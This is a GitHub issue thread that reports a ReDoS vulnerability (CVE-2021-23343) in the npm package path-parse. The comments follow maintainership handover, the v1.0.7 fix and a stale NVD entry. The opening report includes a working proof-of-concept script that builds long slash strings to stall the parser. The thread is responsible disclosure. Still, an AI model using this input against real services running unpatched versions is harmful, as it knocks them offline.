jbgutierrez/path-parse

ReDoS in path-parse

yetingli opened this issue · 26 comments

Hi,

I would like to report two Regular Expression Denial of Service (REDoS) vulnerabilities in path-parse.

It allows cause a denial of service when parsing crafted invalid paths.

You can execute the code below to reproduce the vulnerability.​

var pathParse = require('path-parse');
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "/"
    }
    return ret + "◎";
}

for(var i = 1; i <= 5000000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        pathParse(attack_str);
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

Feel free to contact me if you have any questions.

Best regards,
Yeting Li​​​​

Is there any update on patching this vulnerability? This is a core NPM package that is heavily used by many other packages and I foresee a lot of failing pipelines now that this has a CVE logged.

I have emailed @jbgutierrez to see if he would be willing to patch this, but have not yet received a response.

I'm willing to transfer this repo to anyone interested in its maintenance. Would you?

If there aren't any other takers, I would be happy to maintain it, since the organisation that I work for, ForgeRock, also has interest in this package not having security vulnerabilities.

Alternatively, having multiple maintainers may be a good idea, for a higher chance of changes like this being made.

@jbgutierrez i will be happy to take it on, since resolve relies on it. it could also live in the browserify org if that’s preferred.

I have an extensive history with regexes from my Perl days. Even though node doesn't support (?>...), I can think of one quick solution, which is replacing [\s\S]*? with a more specific pattern.

The regexes could stand a bit more tweaking to make them a little simpler.

(\/?|) is redundant and should just be (\/?), for example.

@jbgutierrez @ljharb Is there any update on fixing this vulnerability? There is already a PR open to fix this and there doesn't seem to be anyone disagreeing with the fix, so can we merge the PR and deploy v1.0.7 to get this security issue removed?

The resolve library is using this dependency, and the Angular CLI has started using resolve as a dependency since v11. Our security team does not want open vulnerabilities in our Angular codebase (regardless of its actual potential for misuse, which is the better approach to security anyways), so we are delaying on Angular v10 to avoid triggering this on our security scans.

@hareharey as soon as I'm handed the repo/commit bit, and also the npm publish rights, I'd be happy to take care of it.

Some good news regarding to this issue ?

Any update on supplying repo/commit and npm publish rights to @ljharb ?

@n8ores It looks like @jbgutierrez just merged PR #10 to fix the redos issue and he published v1.0.7 to the npm registry so you should be good there.

@ljharb would just need to update browserify to point to the new dependency and ideally the Angular dependency issue should be fixed in the next minor version.

However, I'm not sure how to update the official snyk.io page for this vulnerability so that it shows the new fix version. Maybe @yetingli could help with that?

resolve uses ^, as does browserify, so no update should be needed.

Noting that the NVD still flags this as a vulnerability for all versions. I have asked them how we go about updating this CVE Entry: https://nvd.nist.gov/vuln/detail/CVE-2021-23343

Filename: path-parse:1.0.7 | Reference: CVE-2021-23343 | CVSS Score: 7.5 | Category: NVD-CWE-noinfo | All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity

We are still seeing vulnerabilities reported for path-parse v1.0.7. Let us know if any fix available.

@jbgutierrez I'm wondering whether all those vulnerability scanners are waiting until this ticket gets closed and didn't recognized that #10 fixes the problem already.

Any update? Is v1.0.7 still being flagged as vulnerable? 🤔 Thanks!

@joanlopez you should not be getting a vulnerability flag for this particular issue in path-parse v1.0.7.

@jbgutierrez I think this issue should be closed since it has been fixed in v1.0.7. No sense in having more people add comments about this.

Hi, I've just received vulnerabilities alerts for XToolset.

I'm eager to help when some free time I found.

Should this issue be closed with 1.0.7 apparently containing a fix, at least in part, for this issue?

Diff between 1.0.6 and 1.0.7: https://github.com/jbgutierrez/path-parse/compare/97efc90ce24455d23ec6acedf47589df46e48ea0..9f1db2802ffbc572e6b447f66126697e33b0055e

splitDeviceRe, splitTailRe, and splitPathRe were the regexes listed in the vulnerability https://ossindex.sonatype.org/vulnerability/c8574971-0fcc-4713-b46b-b3aebd4394ef?component-type=npm&component-name=path-parse&utm_source=auditjs&utm_medium=integration&utm_content=4.0.30

splitDeviceRe, splitTailRe seem to have been merged into a single regex called splitWindowsRe.

splitPathRe was modified.

I don't feel qualified to comment whether or not those changes address the vulnerability, but the diff at least suggests that an attempt was made to address the CVE in full.

❯ npm install --save path-parse@latest
npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN package@1.0.0 No description
npm WARN package@1.0.0 No repository field.


+ path-parse@1.0.7
added 1 package from 1 contributor and audited 1 package in 0.618s
found 0 vulnerabilities

❯ npm audit

                       === npm audit security report ===

found 0 vulnerabilities
 in 1 scanned package

LGTM - i think this can be closed?

Noting that the NVD still flags this as a vulnerability for all versions. I have asked them how we go about updating this CVE Entry: https://nvd.nist.gov/vuln/detail/CVE-2021-23343

@n8ores Any luck with this?

ajssd commented

If this problem has indeed been fixed, is it possible to update the entry here https://nvd.nist.gov/vuln/detail/CVE-2021-23343 so that it doesn't say "All versions of package path-parse are vulnerable..." ?